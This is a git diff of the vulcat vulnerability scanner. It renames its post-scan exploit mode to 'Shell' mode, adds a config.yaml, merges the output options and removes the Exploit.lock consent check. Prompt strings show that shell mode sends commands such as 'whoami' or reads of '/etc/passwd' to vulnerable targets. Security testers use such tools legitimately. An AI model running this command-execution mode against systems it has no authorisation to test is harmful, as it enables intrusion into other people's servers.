diff --git a/README.en-us.md b/README.en-us.md
index 2480fcd..39efd19 100644
--- a/README.en-us.md
+++ b/README.en-us.md
@@ -1,7 +1,7 @@
# vulcat
[![python](https://img.shields.io/badge/Python-3-blue?logo=python)](https://shields.io/)
-[![version](https://img.shields.io/badge/Version-1.1.7-blue)](https://shields.io/)
+[![version](https://img.shields.io/badge/Version-1.1.8-blue)](https://shields.io/)
[![license](https://img.shields.io/badge/LICENSE-GPL-yellow)](https://shields.io/)
[![stars](https://img.shields.io/github/stars/CLincat/vulcat?color=red)](https://shields.io/)
[![forks](https://img.shields.io/github/forks/CLincat/vulcat?color=red)](https://shields.io/)
@@ -47,7 +47,7 @@ Examples:
python3 vulcat.py -u https://www.example.com/
python3 vulcat.py -u https://www.example.com/ -a thinkphp --log 3
python3 vulcat.py -u https://www.example.com/ -a tomcat -v CVE-2017-12615
-python3 vulcat.py -f url.txt -t 10
+python3 vulcat.py -f url.txt -t 10 -o html
python3 vulcat.py --list
```
@@ -116,11 +116,11 @@ Options:
number does not discriminate between sizes, and the
symbol - and _ are acceptable (e.g. -a fastjson -v
cnVD-2019-22238 or -a Tomcat -v CVE-2017_12615)
- -x, --exp Use with the -a and -v parameters, After the Poc scan,
- if the vulnerability exists, enter the Exp interaction
- mode of the vulnerability; You can use --list to see
- Exp support vulnerabilities. (e.g. -a httpd -v
- CVE-2021-42013 -x)
+ --shell Use with the -a and -v parameters, After the Poc scan,
+ if the vulnerability exists, enter the Shell
+ interaction mode of the vulnerability; You can use
+ --list to see Shell support vulnerabilities. (e.g. -a
+ httpd -v CVE-2021-42013 -x)
Api:
The third party Api
@@ -134,13 +134,9 @@ Options:
Save:
Save scan results
- --output-text=TXT_FILENAME
- Save the scan results in TXT format, no vulnerability
- will not generate files(e.g. --output-text result.txt)
- --output-json=JSON_FILENAME
- Save the scan results in JSON format, no vulnerability
- will not generate files(e.g. --output-text
- result.json)
+ -o OUTPUT, --output=OUTPUT
+ Save the scan results in txt/json/html format, no
+ vulnerability will not generate files (e.g. -o html)
General:
General operating parameter
@@ -156,34 +152,34 @@ Options:
--list View all payload
Supported target types(Case insensitive):
- AliDruid, airflow, apisix, apachedruid, appweb, cisco, confluence, discuz, django,
- drupal, elasticsearch, f5bigip, fastjson, flink, gitea, gitlab,
- grafana, influxdb, hadoop, httpd, jenkins, jetty, jupyter, keycloak,
- landray, minihttpd, mongoexpress, nexus, nacos, nodejs, nodered,
- phpmyadmin, phpunit, rails, showdoc, solr, spring, supervisor,
- skywalking, thinkphp, tomcat, ueditor, weblogic, webmin, yonyou, zabbix
+ AliDruid, airflow, apisix, apachedruid, appweb, cisco, confluence,
+ discuz, django, drupal, elasticsearch, f5bigip, fastjson, flink,
+ gitea, gitlab, grafana, influxdb, hadoop, httpd, jenkins, jetty,
+ jupyter, keycloak, landray, minihttpd, mongoexpress, nexus, nacos,
+ nodejs, nodered, phpmyadmin, phpunit, rails, showdoc, solr, spring,
+ supervisor, skywalking, thinkphp, tomcat, ueditor, weblogic, webmin,
+ yonyou, zabbix
```
## language
-You can change the language of -h/--help, currently only Chinese and English
+You can change the language of vulcat, currently only Chinese and English
-* Open the vulcat/lib/initial/language.py
-* Switching the "return" order and then saving the file implements the -h/--help language switch
+* Open the vulcat/config.yaml
+* Modify the value of "language" and save the file to switch the Vulcat language
```
-def language():
- return lang['zh_cn']
- return lang['en_us']
+# Language, default is English en-us, Chinese is zh-cn
+language: en-us
```
## Dnslog
You can customize http://ceye.io
-* Open the vulcat/lib/initial/config.py
-* Find the code below, fill in your domain name and token, and save the file
+* Open the vulcat/config.yaml
+* Find the following code, replace Null with your own domain name and token, and save the file
```
-args.ceye_domain = ''
-args.ceye_token = ''
+ceye-domain: Null
+ceye-token: Null
```
## Custom POC
@@ -201,7 +197,7 @@ args.ceye_token = ''
```
+----------------------+--------------------+--------------+-----+--------------------------------------------------------------+
-| Target | Vuln id | Vuln Type | Exp | Description |
+| Target | Vuln id | Vuln Type | Sh | Description |
+----------------------+--------------------+--------------+-----+--------------------------------------------------------------+
| Alibaba Druid | (None) | unAuth | - | Alibaba Druid unAuthorized |
+----------------------+--------------------+--------------+-----+--------------------------------------------------------------+
@@ -349,9 +345,9 @@ args.ceye_token = ''
+----------------------+--------------------+--------------+-----+--------------------------------------------------------------+
| Zabbix | CVE-2016-10134 | SQLinject | - | latest.php or jsrpc.php SQLinject |
+----------------------+--------------------+--------------+-----+--------------------------------------------------------------+
-vulcat-1.1.7/2022.12.15
+vulcat-1.1.8/2023.01.20
99/Poc
-37/Exp
+37/Shell
```
@@ -360,6 +356,9 @@ vulcat-1.1.7/2022.12.15
* [sqlmap](https://github.com/sqlmapproject/sqlmap)
* [dirsearch](https://github.com/maurosoria/dirsearch)
* [HackRequests](https://github.com/boy-hack/hack-requests)
+* [vulhub](https://github.com/vulhub/vulhub)
+* [vulfocus](https://github.com/fofapro/vulfocus)
+* [ttkbootstrap](https://github.com/israel-dryer/ttkbootstrap/)
## Star History
[![Star History Chart](https://api.star-history.com/svg?repos=CLincat/vulcat&type=Timeline)](https://star-history.com/#Ashutosh00710/github-readme-activity-graph&Timeline)
\ No newline at end of file
diff --git a/README.md b/README.md
index 615ec67..470bd9c 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
# vulcat
[![python](https://img.shields.io/badge/Python-3-blue?logo=python)](https://shields.io/)
-[![version](https://img.shields.io/badge/Version-1.1.7-blue)](https://shields.io/)
+[![version](https://img.shields.io/badge/Version-1.1.8-blue)](https://shields.io/)
[![license](https://img.shields.io/badge/LICENSE-GPL-yellow)](https://shields.io/)
[![stars](https://img.shields.io/github/stars/CLincat/vulcat?color=red)](https://shields.io/)
[![forks](https://img.shields.io/github/forks/CLincat/vulcat?color=red)](https://shields.io/)
@@ -50,7 +50,7 @@ Examples:
python3 vulcat.py -u https://www.example.com/
python3 vulcat.py -u https://www.example.com/ -a thinkphp --log 3
python3 vulcat.py -u https://www.example.com/ -a tomcat -v CVE-2017-12615
-python3 vulcat.py -f url.txt -t 10
+python3 vulcat.py -f url.txt -t 10 -o html
python3 vulcat.py --list
```
@@ -109,8 +109,9 @@ Options:
指定漏洞编号, 配合-a/--application对单个漏洞进行扫描, 可以使用--list查看漏洞编号,
没有漏洞编号的漏洞暂不支持, 编号不区分大小, 符号-和_皆可 (如: -a fastjson -v
CNVD-2019-22238 或者 -a Tomcat -v cvE-2017_12615)
- -x, --exp 配合-a和-v参数进行使用, Poc扫描过后, 如果该漏洞存在, 则进入该漏洞的Exp交互模式; 可以使用
- --list查看支持Exp的漏洞(如: -a httpd -v CVE-2021-42013 -x)
+ --shell 配合-a和-v参数进行使用, Poc扫描过后, 如果该漏洞存在, 则进入该漏洞的Shell交互模式;
+ 可以使用--list查看支持Shell的漏洞(如: -a httpd -v CVE-2021-42013
+ -x)
Api:
第三方api
@@ -122,11 +123,8 @@ Options:
Save:
保存扫描结果
- --output-text=TXT_FILENAME
- 以txt格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text result.txt)
- --output-json=JSON_FILENAME
- 以json格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text
- result.json)
+ -o OUTPUT, --output=OUTPUT
+ 以txt/json/html格式保存扫描结果, 无漏洞时不会生成文件 (如: -o html)
General:
通用工作参数
@@ -141,33 +139,34 @@ Options:
--list 查看所有Payload
支持的目标类型(-a参数, 不区分大小写):
- AliDruid, airflow, apisix, apachedruid, appweb, cisco, confluence, discuz, django,
- drupal, elasticsearch, f5bigip, fastjson, flink, gitea, gitlab,
- grafana, influxdb, hadoop, httpd, jenkins, jetty, jupyter, keycloak,
- landray, minihttpd, mongoexpress, nexus, nacos, nodejs, nodered,
- phpmyadmin, phpunit, rails, showdoc, solr, spring, supervisor,
- skywalking, thinkphp, tomcat, ueditor, weblogic, webmin, yonyou, zabbix
+ AliDruid, airflow, apisix, apachedruid, appweb, cisco, confluence,
+ discuz, django, drupal, elasticsearch, f5bigip, fastjson, flink,
+ gitea, gitlab, grafana, influxdb, hadoop, httpd, jenkins, jetty,
+ jupyter, keycloak, landray, minihttpd, mongoexpress, nexus, nacos,
+ nodejs, nodered, phpmyadmin, phpunit, rails, showdoc, solr, spring,
+ supervisor, skywalking, thinkphp, tomcat, ueditor, weblogic, webmin,
+ yonyou, zabbix
```
## 语言
-可以修改-h/--help的语言, 目前只有中文和英文(麻麻再也不用担心我看不懂啦!)
+可以修改vulcat的语言, 目前只有中文和英文(麻麻再也不用担心我看不懂英文啦!)
-* 打开vulcat/lib/initial/language.py, 打开后会看到以下代码↓
-* en_us为英文, zh_cn为中文, 将return调换上下顺序, 然后保存文件就实现了-h语言的切换
+* 打开vulcat/config.yaml, 打开后会看到以下代码↓
+* 对language的值进行修改, 然后保存文件就实现了vulcat语言的切换
```
-def language():
- return lang['zh_cn']
- return lang['en_us']
+# 语言, 默认为英文en-us, 中文为zh-cn
+language: en-us
```
## 自定义Dnslog平台
可以定义自己的http://ceye.io
-* 打开vulcat/lib/initial/config.py
-* 找到以下代码, 填写自己的域名和token, 保存文件即可
+* 打开vulcat/config.yaml
+* 找到以下代码, 将Null替换为自己的域名和token, 保存文件即可
```
-args.ceye_domain = ''
-args.ceye_token = ''
+# ceye.io的域名和token
+ceye-domain: Null
+ceye-token: Null
```
## 自定义 POC
@@ -185,7 +184,7 @@ args.ceye_token = ''
```
+----------------------+--------------------+--------------+-----+----------------------------------------------------------------------+
-| Target | Vuln id | Vuln Type | Exp | Description |
+| Target | Vuln id | Vuln Type | Sh | Description |
+----------------------+--------------------+--------------+-----+----------------------------------------------------------------------+
| Alibaba Druid | (None) | unAuth | - | 阿里巴巴Druid未授权访问 |
+----------------------+--------------------+--------------+-----+----------------------------------------------------------------------+
@@ -333,9 +332,9 @@ args.ceye_token = ''
+----------------------+--------------------+--------------+-----+----------------------------------------------------------------------+
| Zabbix | CVE-2016-10134 | SQLinject | - | latest.php或jsrpc.php存在sql注入 |
+----------------------+--------------------+--------------+-----+----------------------------------------------------------------------+
-vulcat-1.1.7/2022.12.15
+vulcat-1.1.8/2023.01.20
99/Poc
-37/Exp
+37/Shell
```
@@ -344,6 +343,9 @@ vulcat-1.1.7/2022.12.15
* [sqlmap](https://github.com/sqlmapproject/sqlmap)
* [dirsearch](https://github.com/maurosoria/dirsearch)
* [HackRequests](https://github.com/boy-hack/hack-requests)
+* [vulhub](https://github.com/vulhub/vulhub)
+* [vulfocus](https://github.com/fofapro/vulfocus)
+* [ttkbootstrap](https://github.com/israel-dryer/ttkbootstrap/)
## 参考链接
diff --git a/config.yaml b/config.yaml
new file mode 100644
index 0000000..6d93bb3
--- /dev/null
+++ b/config.yaml
@@ -0,0 +1,41 @@
+# 语言, 默认为英文en-us, 中文为zh-cn
+language: en-us
+
+# ceye.io的域名和token
+ceye-domain: Null
+ceye-token: Null
+
+# 请求Header
+ # 运行时指定--user-agent参数, 会覆盖config.yaml的User-Agent
+headers:
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
+ Content-Type: application/x-www-form-urlencoded
+ # 符号 * 要用引号引起来
+ Accept: "*/*"
+ Connection: close
+
+# 当指定-a参数为all时, 或框架指纹识别失败时, 将会使用以下框架的POC进行扫描, 可以控制开关
+applist: [
+ 'airflow', 'alidruid', 'apachedruid', 'apacheunomi', 'apisix', 'appweb',
+ 'cisco', 'confluence',
+ 'discuz', 'django', 'drupal',
+ 'elasticsearch',
+ 'f5bigip', 'fastjson', 'flink',
+ 'gitea', 'gitlab',
+ # 'grafana', # 由于该框架的POC请求过多, 会影响扫描速度, 所以默认不会启用 (当指纹识别到Grafana框架, 或-a指定时才会进行扫描)
+ 'hadoop', 'httpd',
+ 'influxdb',
+ 'jenkins', 'jetty', 'jupyter',
+ 'keycloak',
+ 'landray',
+ 'minihttpd', 'mongoexpress',
+ 'nacos', 'nexus', 'nodejs', 'nodered',
+ 'phpmyadmin', 'phpunit',
+ 'rails',
+ 'showdoc', 'skywalking', 'solr', 'spring', 'supervisor',
+ 'thinkphp', 'tomcat',
+ 'ueditor',
+ 'weblogic', 'webmin',
+ 'yonyou',
+ 'zabbix'
+]
diff --git a/lib/core/coreScan.py b/lib/core/coreScan.py
index 224b8da..bbfd997 100644
--- a/lib/core/coreScan.py
+++ b/lib/core/coreScan.py
@@ -10,7 +10,7 @@
from lib.plugins.fingerprint.waf import waf
from lib.plugins.fingerprint.webapp import webapp
-from lib.plugins.exploit import exploit
+from lib.plugins.shell import shell
from payloads.AlibabaDruid.main import alidruid
from payloads.AlibabaNacos.main import nacos
@@ -80,14 +80,13 @@ def __init__(self):
self.batch = config.get('batch') # * 是否启用默认选项
self.no_waf = config.get('no_waf') # * 是否启用WAF指纹识别
self.no_poc = config.get('no_poc') # * 是否启用WAF指纹识别
- self.exp = config.get('exp')
+ self.shell = config.get('shell')
self.thread_list = [] # * 已经运行的线程列表
self.results = [] # * 结果列表
self.queue = Queue() # * 创建线程池
- self.txt_filename = config.get('txt_filename')
- self.json_filename = config.get('json_filename')
- # self.html_filename = config.get('html_filename')
+
+ self.output_file = config.get('output') # * 是否导出文件
def start(self):
''' 开始扫描, 添加poc并启动 '''
@@ -96,8 +95,8 @@ def start(self):
logger.info('red_ex', self.lang['core']['start']['url_error'].format(u))
continue
- if self.exp and (not self.vuln):
- logger.info('yellow_ex', self.lang['core']['start']['exp']) # ? 提示, 使用exp之前 请先使用-a和-v参数指定一个漏洞
+ if self.shell and (not self.vuln):
+ logger.info('yellow_ex', self.lang['core']['start']['shell']) # ? 提示, 使用shell之前 请先使用-a和-v参数指定一个漏洞
break
logger.info('green_ex', self.lang['core']['start']['start'] + u) # ? 提示, 开始扫描当前url
@@ -227,30 +226,29 @@ def stop(self):
wq(save and exit) 等待已经运行的poc, 保存并输出已有的漏洞结果, 有--output参数的话则同步保存至文件
'''
while True:
- logger.info('reset', '', print_end='') # ? 提示信息
- operation = input('\r[CTRL+C] - q(uit)/c(ontinue)/n(ext)/wq(save and exit): '.ljust(70))# * 接收参数
- operation = operation.lower() # * 字母转小写
-
- if operation in ['q', 'quit']: # * 退出扫描
- _exit(0)
- elif operation in ['c', 'continue']: # * 继续扫描
- logger.info('yellow_ex', self.lang['core']['stop']['continue']) # ? 日志, 继续扫描
- return True
- elif operation in ['wq', 'save and exit']: # * 保存结果并退出
- self.end()
- elif operation in ['n', 'next']:
- logger.info('yellow_ex', self.lang['core']['stop']['next']) # ? 日志, 扫描下一个目标
-
- return False
-
- def start_exp(self):
- ''' 启动Exploit模式 '''
- try:
- f = open('Exploit.lock')
- f.close()
- logger.info('red', self.lang['core']['start_exp']['lock']) # ? 日志, 使用exp时 请先删除vulcat/Exploit.lock锁文件
- except FileNotFoundError:
- exploit.start(self.results)
+ try:
+ logger.info('reset', '', print_end='') # ? 提示信息
+ operation = input('\r[CTRL+C] - q(uit)/c(ontinue)/n(ext)/wq(save and exit): '.ljust(70))# * 接收参数
+ operation = operation.lower() # * 字母转小写
+
+ if operation in ['q', 'quit']: # * 退出扫描
+ _exit(0)
+ elif operation in ['c', 'continue']: # * 继续扫描
+ logger.info('yellow_ex', self.lang['core']['stop']['continue']) # ? 日志, 继续扫描
+ return True
+ elif operation in ['wq', 'save and exit']: # * 保存结果并退出
+ self.end()
+ elif operation in ['n', 'next']:
+ logger.info('yellow_ex', self.lang['core']['stop']['next']) # ? 日志, 扫描下一个目标
+
+ return False
+ except:
+ continue
+
+ def start_shell(self):
+ ''' 启动Shell模式 '''
+
+ shell.start(self.results)
def end(self):
''' 结束扫描, 等待所有线程运行完毕, 生成漏洞结果并输出/保存'''
@@ -260,15 +258,16 @@ def end(self):
self.results.append(t.get_result()) # * 添加扫描结果
output.output_info(self.results, self.lang) # * output处理扫描结果, 在命令行输出结果信息
- if self.txt_filename: # * 是否保存结果为.txt
- output.output_text(self.results, self.txt_filename, self.lang)
- if self.json_filename: # * 是否保存结果为.json
- output.output_json(self.results, self.json_filename, self.lang)
- # if self.html_filename:
- # output.output_html(self.results, self.html_filename, self.lang)
+ # * 保存扫描结果, .html / .json / .txt
+ if (self.output_file == 'html'):
+ output.output_html(self.results, self.lang)
+ elif (self.output_file == 'json'):
+ output.output_json(self.results, self.lang)
+ elif (self.output_file == 'txt'):
+ output.output_text(self.results, self.lang)
- if self.exp and self.vuln: # * 是否使用Exp
- self.start_exp()
+ if self.shell and self.vuln: # * 是否使用Shell
+ self.start_shell()
logger.info('yellow_ex', self.lang['core']['end']['completed']) # ? 日志, 扫描完全结束, 退出运行
logger.info('reset', '', notime=True, print_end='') # * 重置文字颜色
diff --git a/lib/initial/config.py b/lib/initial/config.py
index a6c3aad..3fcc13d 100644
--- a/lib/initial/config.py
+++ b/lib/initial/config.py
@@ -6,10 +6,12 @@
'''
from lib.initial.language import language
+from lib.initial.load import load_yaml
from thirdparty.requests import packages
import re
import socket
import socks
+import yaml
global config
@@ -18,9 +20,11 @@ class Config():
def __init__(self, args):
packages.urllib3.disable_warnings() # * requests忽略ssl证书警告
- args.ceye_domain = '' # * http://ceye.io/ 平台的域名
- args.ceye_token = '' # * http://ceye.io/ 平台的token
-
+ config_yaml = load_yaml() # * 读取并解析config.yaml
+
+ args.ceye_domain = config_yaml.get('ceye-domain') # * http://ceye.io/ 平台的域名
+ args.ceye_token = config_yaml.get('ceye-token') # * http://ceye.io/ 平台的token
+
args.lang = language() # * 语言
args.url_list = [] # * url列表
@@ -64,12 +68,10 @@ def __init__(self, args):
else:
args.url_list.append(url)
- args.headers = {
- 'User-Agent': args.ua,
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'Accept': '*/*',
- 'Connection': 'close'
- }
+ args.headers = config_yaml.get('headers')
+
+ if args.ua:
+ args.headers['User-Agent'] = args.ua.lstrip('User-Agent: ')
if args.cookie:
args.headers['Cookie'] = args.cookie.lstrip('Cookie: ')
@@ -106,29 +108,7 @@ def __init__(self, args):
args.vuln = args.vuln.replace('-', '_')
args.vuln = args.vuln.replace('.', '_')
- app_list = [
- 'alidruid', 'airflow', 'apisix', 'apachedruid', 'apacheunomi', 'appweb',
- 'cisco', 'confluence',
- 'discuz', 'django', 'drupal',
- 'elasticsearch',
- 'f5bigip', 'fastjson', 'flink',
- 'gitea', 'gitlab', # 'grafana',
- 'influxdb',
- 'hadoop', 'httpd',
- 'jenkins', 'jetty', 'jupyter',
- 'keycloak', # 'kindeditor',
- 'landray',
- 'minihttpd', 'mongoexpress',
- 'nexus', 'nacos', 'nodejs', 'nodered',
- 'phpmyadmin', 'phpunit',
- 'rails',
- 'showdoc', 'solr', 'spring', 'skywalking', 'supervisor',
- 'thinkphp', 'tomcat',
- 'ueditor',
- 'weblogic', 'webmin',
- 'yonyou',
- 'zabbix'
- ]
+ app_list = config_yaml.get('applist')
if args.application in ['auto', 'all']: # * -a参数
args.app_list = app_list
diff --git a/lib/initial/language.py b/lib/initial/language.py
index af4570f..2a72fe0 100644
--- a/lib/initial/language.py
+++ b/lib/initial/language.py
@@ -6,10 +6,13 @@
vulcat的英文
vulcat的中文
'''
+from lib.initial.load import load_yaml
def language():
- return lang['en_us'] # * 默认英文
- return lang['zh_cn'] # * 上下换个位置就能切换语言
+ config_yaml = load_yaml()
+
+ config_yaml['language'] = config_yaml['language'].replace('-', '_')
+ return lang[config_yaml.get('language', 'en_us')] # * 用get查找语言, 如果没有找到则使用英文
lang = {
'en_us': {
@@ -48,7 +51,7 @@ def language():
'name': 'Specify the target type for the scan',
'application': 'Specifies the target type, for supported frameworks, see the tips at the bottom, separated by commas (e.g. thinkphp / thinkphp,weblogic) (default: auto)',
'vuln': 'Specify the vulnerability number,With -a/--application to scan a single vulnerability,You can use --list to see the vulnerability number,vulnerabilities that do not have a vulnerability number are not supported.The number does not discriminate between sizes, and the symbol - and _ are acceptable (e.g. -a fastjson -v cnVD-2019-22238 or -a Tomcat -v CVE-2017_12615)',
- 'exp': 'Use with the -a and -v parameters, After the Poc scan, if the vulnerability exists, enter the Exp interaction mode of the vulnerability; You can use --list to see Exp support vulnerabilities. (e.g. -a httpd -v CVE-2021-42013 -x)'
+ 'shell': 'Use with the -a and -v parameters, After the Poc scan, if the vulnerability exists, enter the Shell interaction mode of the vulnerability; You can use --list to see Shell support vulnerabilities. (e.g. -a httpd -v CVE-2021-42013 -x)'
},
'api_help': {
'title': 'Api',
@@ -58,8 +61,7 @@ def language():
'save_help': {
'title': 'Save',
'name': 'Save scan results',
- 'output_text': 'Save the scan results in TXT format, no vulnerability will not generate files(e.g. --output-text result.txt)',
- 'output_json': 'Save the scan results in JSON format, no vulnerability will not generate files(e.g. --output-text result.json)'
+ 'output': 'Save the scan results in txt/json/html format, no vulnerability will not generate files (e.g. -o html)',
},
'general_help': {
'title': 'General',
@@ -83,7 +85,7 @@ def language():
'unable': '[WARN] Unable to connect to ',
'url_error': '[WARN] The destination {} is incorrect and needs to start with http:// or https://',
'no_poc': '[No-POC] Disable Vulnerability scanning',
- 'exp': 'When using -x/--exp, specify a vulnerability with -a and -v first(e.g. -a httpd -v cve-2021-41773 -x)'
+ 'shell': 'When using --shell, specify a vulnerability with -a and -v first(e.g. -a httpd -v cve-2021-41773 -x)'
},
'waf_finger': {
'waf': '[INFO] The WAF detection for the current URL starts',
@@ -117,9 +119,6 @@ def language():
'wait': '[INFO] Wait for all threads to finish. Please wait...',
'completed': '[INFO] Scan is completed'
},
- 'start_exp': {
- 'lock': 'If you want to use -x/--exp, Please read the "vulcat/Exploit.lock" statement first, Delete the file with consent to the declaration, After the deletion, run -x/--exp again'
- }
},
'output': {
'info': {
@@ -130,17 +129,17 @@ def language():
'text': {
'success': '[INFO] The results have been saved to ',
'faild': '[ERROR] Failed to save txt',
- 'notvul': '[-] The result is not saved to '
+ 'notvul': '[OUTPUT] The result is not saved, because no vuln were found'
},
'json': {
'success': '[INFO] The results have been saved to ',
'faild': '[ERROR] Failed to save json',
- 'notvul': '[-] The result is not saved to '
+ 'notvul': '[OUTPUT] The result is not saved, because no vuln were found'
},
'html': {
'success': '[INFO] The results have been saved to ',
'faild': '[ERROR] Failed to save html',
- 'notvul': '[-] The result is not saved to '
+ 'notvul': '[OUTPUT] The result is not saved, because no vuln were found'
}
}
},
@@ -179,7 +178,7 @@ def language():
'name': '指定扫描的目标类型',
'application': '指定框架类型, 支持的框架可以参考最下面的提示信息, 多个使用逗号分隔 (如: thinkphp 或者 thinkphp,weblogic) (默认将启用指纹识别, 并使用相应POC, 如果未识别出框架则使用全部POC)',
'vuln': '指定漏洞编号, 配合-a/--application对单个漏洞进行扫描, 可以使用--list查看漏洞编号, 没有漏洞编号的漏洞暂不支持, 编号不区分大小, 符号-和_皆可 (如: -a fastjson -v CNVD-2019-22238 或者 -a Tomcat -v cvE-2017_12615)',
- 'exp': '配合-a和-v参数进行使用, Poc扫描过后, 如果该漏洞存在, 则进入该漏洞的Exp交互模式; 可以使用--list查看支持Exp的漏洞(如: -a httpd -v CVE-2021-42013 -x)'
+ 'shell': '配合-a和-v参数进行使用, Poc扫描过后, 如果该漏洞存在, 则进入该漏洞的Shell交互模式; 可以使用--list查看支持Shell的漏洞(如: -a httpd -v CVE-2021-42013 -x)'
},
'api_help': {
'title': 'Api',
@@ -189,8 +188,7 @@ def language():
'save_help': {
'title': 'Save',
'name': '保存扫描结果',
- 'output_text': '以txt格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text result.txt)',
- 'output_json': '以json格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text result.json)'
+ 'output': '以txt/json/html格式保存扫描结果, 无漏洞时不会生成文件 (如: -o html)'
},
'general_help': {
'title': 'General',
@@ -214,7 +212,7 @@ def language():
'unable': '[WARN] 无法连接到 ',
'url_error': '[WARN] 目标{}好像不对哦, 需要以http://或https://开头',
'no_poc': '[No-POC] 不进行漏洞扫描',
- 'exp': '使用-x/--exp时请先使用-a和-v指定一个漏洞, 例如-a httpd -v cve-2021-41773 -x'
+ 'shell': '使用--shell时请先使用-a和-v指定一个漏洞, 例如-a httpd -v cve-2021-41773 --shell'
},
'waf_finger': {
'waf': '[INFO] 对当前url进行WAF检测, 请稍等...',
@@ -248,9 +246,6 @@ def language():
'wait': '[INFO] 等待所有线程结束, 请稍等...',
'completed': '[INFO] 扫描完成'
},
- 'start_exp': {
- 'lock': '如果要使用-x/--exp, 请先阅读"vulcat/Exploit.lock"文件中的声明, 在同意声明的情况下删除该文件, 删除之后再次运行-x/--exp'
- }
},
'output': {
'info': {
@@ -261,17 +256,17 @@ def language():
'text': {
'success': '[INFO] 结果已经被保存到文件 ',
'faild': '[ERROR] 保存txt文件失败',
- 'notvul': '[-] 未保存结果至'
+ 'notvul': '[OUTPUT] 未保存结果, 因为没有发现漏洞'
},
'json': {
'success': '[INFO] 结果已经被保存到文件 ',
'faild': '[ERROR] 保存json文件失败',
- 'notvul': '[-] 未保存结果至'
+ 'notvul': '[OUTPUT] 未保存结果, 因为没有发现漏洞'
},
'html': {
'success': '[INFO] 结果已经被保存到文件 ',
'faild': '[ERROR] 保存html文件失败',
- 'notvul': '[-] 未保存结果至'
+ 'notvul': '[OUTPUT] 未保存结果, 因为没有发现漏洞'
}
}
}
@@ -576,33 +571,33 @@ def language():
}
}
-# ! -x/--exp中文------------------------------------------------------------
+# ! --shell中文------------------------------------------------------------
-lang['zh_cn']['exploit'] = {
- 'identify': '[+] 识别为"{}"漏洞, 进入Exp交互模式:',
- 'not_exp': '[-] 没有识别到漏洞类型, 或该漏洞类型不支持Exp',
- 'not_request': '[-] POC结果没有返回Request(HTTP请求数据包), 无法使用Exp',
+lang['zh_cn']['shell'] = {
+ 'identify': '[+] 识别为"{}"漏洞, 进入Shell交互模式:',
+ 'not_shell': '[-] 没有识别到漏洞类型, 或该漏洞类型不支持Shell',
+ 'not_request': '[-] POC结果没有返回Request(HTTP请求数据包), 无法使用Shell',
'input_command': '根据漏洞类型 输入相应的内容(例如"whoami"或"/etc/passwd"): ',
'not_command': '请输入命令 (可以输入“exit”退出)',
'faild_command': '[Faild] 使用该命令时发生错误',
'not_search_command': '[INFO] 替换新payload失败, 没有在旧的HTTP数据包中检测到旧的payload',
- 'exit': '[INFO] 退出Exploit模式',
- 'exp_faild': '[Exploit] 请求失败',
+ 'exit': '[INFO] 退出Shell模式',
+ 'shell_faild': '[Shell] 请求失败',
'not_response': '没有检测到响应包中的回显内容',
're_error': 'vcsearch语法错误: 错误的正则表达式',
}
-# ! -x/--exp英文------------------------------------------------------------
-lang['en_us']['exploit'] = {
- 'identify': '[+] Identified as "{}" vulnerability, Enter the Exp interactive mode:',
- 'not_exp': '[-] The vulnerability type is not identified, or Exp is not supported by the vulnerability type',
- 'not_request': '[-] The poc result did not return the Request(HTTP Request), Unable to use Exp',
+# ! --shell英文------------------------------------------------------------
+lang['en_us']['shell'] = {
+ 'identify': '[+] Identified as "{}" vulnerability, Enter the Shell interactive mode:',
+ 'not_shell': '[-] The vulnerability type is not identified, or Shell is not supported by the vulnerability type',
+ 'not_request': '[-] The poc result did not return the Request(HTTP Request), Unable to use Shell',
'input_command': 'Enter the value according to the vulnerability type(e.g. "whoami"or"/etc/passwd"): ',
'not_command': 'Please enter the command(You can enter "exit" to exit)',
'faild_command': '[Faild] An error occurred while using the command',
'not_search_command': '[INFO] Description Failed to replace the new payload, No old payload was detected in the old HTTP packet',
- 'exit': '[INFO] Exit the Exploit.',
- 'exp_faild': '[Exploit] Request failed',
+ 'exit': '[INFO] Exit the Shell.',
+ 'shell_faild': '[Shell] Request failed',
'not_response': 'Echoes in response packets are not detected',
're_error': 'vcsearch syntax error: Incorrect regular expression',
}
diff --git a/lib/initial/list.py b/lib/initial/list.py
index c21ca5a..85856b8 100644
--- a/lib/initial/list.py
+++ b/lib/initial/list.py
@@ -12,7 +12,7 @@
Target_len_ = '-' * 22
Vul_id_len_ = '-' * 20
Type_len_ = '-' * 14
-Exp_len_ = '-' * 5
+Shell_len_ = '-' * 5
Description_len_ = '-' * 70
# * 中英文长度的处理
@@ -23,27 +23,27 @@
def list():
''' 显示漏洞列表 '''
vul_num = 0
- exp_num = 0
+ shell_num = 0
vul_list = ''
- vul_list += '+' + Target_len_ + '+' + Vul_id_len_ + '+' + Type_len_ + '+' + Exp_len_ + '+' + Description_len_ + '+\n'
+ vul_list += '+' + Target_len_ + '+' + Vul_id_len_ + '+' + Type_len_ + '+' + Shell_len_ + '+' + Description_len_ + '+\n'
for vul in vul_info:
for info in vul_info[vul]:
vul_num += 1
- if info['exp'] in ['Y', 'M']:
- exp_num += 1
+ if info['shell'] in ['Y', 'M']:
+ shell_num += 1
vul_list += '| {}|'.format(vul.ljust(21))
vul_list += ' {}|'.format(info['vul_id'].ljust(19))
vul_list += ' {}|'.format(info['type'].ljust(13))
- vul_list += ' {}|'.format(info['exp'].center(4))
+ vul_list += ' {}|'.format(info['shell'].center(4))
vul_list += ' {}\t\t|'.format(info['description'].ljust(51))
vul_list += '\n'
- vul_list += '+' + Target_len_ + '+' + Vul_id_len_ + '+' + Type_len_ + '+' + Exp_len_ + '+' + Description_len_ + '+\n'
+ vul_list += '+' + Target_len_ + '+' + Vul_id_len_ + '+' + Type_len_ + '+' + Shell_len_ + '+' + Description_len_ + '+\n'
- print(color.cyan(vul_list + 'vulcat-1.1.7/2022.12.15')) # * 2022-12-15_14:52
- print(color.cyan(str(vul_num - 1) + '/Poc')) # * 有一个是标题, 所以要-1
- print(color.cyan(str(exp_num) + '/Exp'))
